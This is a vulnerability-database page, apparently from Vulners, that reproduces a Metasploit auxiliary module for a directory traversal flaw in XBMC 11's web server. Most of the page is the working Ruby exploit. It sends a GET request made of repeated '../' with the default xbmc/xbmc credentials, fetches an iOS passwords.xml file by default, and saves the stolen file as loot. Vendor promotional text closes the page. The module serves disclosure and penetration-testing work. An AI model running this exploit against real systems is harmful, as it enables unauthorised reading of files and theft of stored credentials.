">
Lucene search
+L

XBMC Web Server Directory Traversal

XBMC Web Server Directory Traversal exploit to retrieve file

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "XBMC Web Server Directory Traversal",
      'Description'    => %q{
          This module exploits a directory traversal bug in XBMC 11, up until the
        2012-11-04 nightly build. The module can only be used to retrieve files.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'sinn3r', # Used sinn3r's yaws_traversal exploit as a skeleton
          'Lucas "acidgen" Lundgren IOActive',
          'Matt "hostess" Andreko <mandreko[at]accuvant.com>'
        ],
      'References'     =>
        [
          ['URL', 'https://forum.kodi.tv/showthread.php?tid=144110&pid=1227348'],
          ['URL', 'https://github.com/xbmc/xbmc/commit/bdff099c024521941cb0956fe01d99ab52a65335'],
          ['URL', 'https://ioactive.com/pdfs/Security_Advisory_XBMC.pdf'],
        ],
      'DisclosureDate' => '2012-11-04'
    ))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('FILEPATH', [false, 'The name of the file to download', '/private/var/mobile/Library/Preferences/XBMC/userdata/passwords.xml']),
        OptInt.new('DEPTH', [true, 'The max traversal depth', 9]),
        OptString.new('HttpUsername', [true, 'The username to use for the HTTP server', 'xbmc']),
        OptString.new('HttpPassword', [false, 'The password to use for the HTTP server', 'xbmc']),
      ])
  end

  def run
    # No point to continue if no filename is specified
    if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
      print_error("Please supply the name of the file you want to download")
      return
    end

    # Create request
    traversal = "../" * datastore['DEPTH'] #The longest of all platforms tested was 9 deep
    begin
      res = send_request_raw({
        'method' => 'GET',
        'uri'    => "/#{traversal}/#{datastore['FILEPATH']}",
        'authorization' => basic_auth(datastore['HttpUsername'],datastore['HttpPassword'])
      }, 25)
    rescue Rex::ConnectionRefused
      print_error("#{rhost}:#{rport} Could not connect.")
      return
    end

    # Show data if needed
    if res
      if res.code == 200
        vprint_line(res.to_s)
        fname = File.basename(datastore['FILEPATH'])

        path = store_loot(
          'xbmc.http',
          'application/octet-stream',
          datastore['RHOST'],
          res.body,
          fname
        )
        print_good("File saved in: #{path}")
      elsif res.code == 401
        print_error("#{rhost}:#{rport} Authentication failed")
      elsif res.code == 404
        print_error("#{rhost}:#{rport} File not found")
      end
    else
      print_error("HTTP Response failed")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Feb 2022 23:22Current
6.9Medium risk
Vulners AI Score6.9
18